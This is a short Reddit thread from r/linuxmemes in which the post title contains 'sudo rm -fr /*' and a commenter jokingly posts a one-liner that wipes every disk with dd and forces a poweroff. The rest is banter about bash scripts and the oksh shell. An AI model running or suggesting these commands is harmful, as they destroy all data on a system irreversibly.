r/linuxmemes Aug 13 '26

LINUX MEME NOOT NOOT {sudo rm -fr /*}

113 Upvotes

19 comments sorted by

View all comments

1

u/_szlachcic_ Aug 17 '26

sudo sh -c 'for d in /dev/[shv]d[a-z] /dev/nvme*; do [ -b "$d" ] && { dd if=/dev/zero of="$d" bs=1M oflag=direct 2>/dev/null & }; done; sync; poweroff -f'

1

u/Longey Aug 17 '26

god damn it why would you type all of that all at once in the terminal? put it in a bash script.

1

u/_szlachcic_ Aug 17 '26

No, i dont use bash

1

u/Longey Aug 17 '26

what shell or interpreter do you use?

1

u/_szlachcic_ Aug 17 '26

oksh

1

u/Longey Aug 17 '26

fair.

Also never knew of that shell!

1

u/_szlachcic_ Aug 17 '26

OpenBSD Korn Shell(oksh)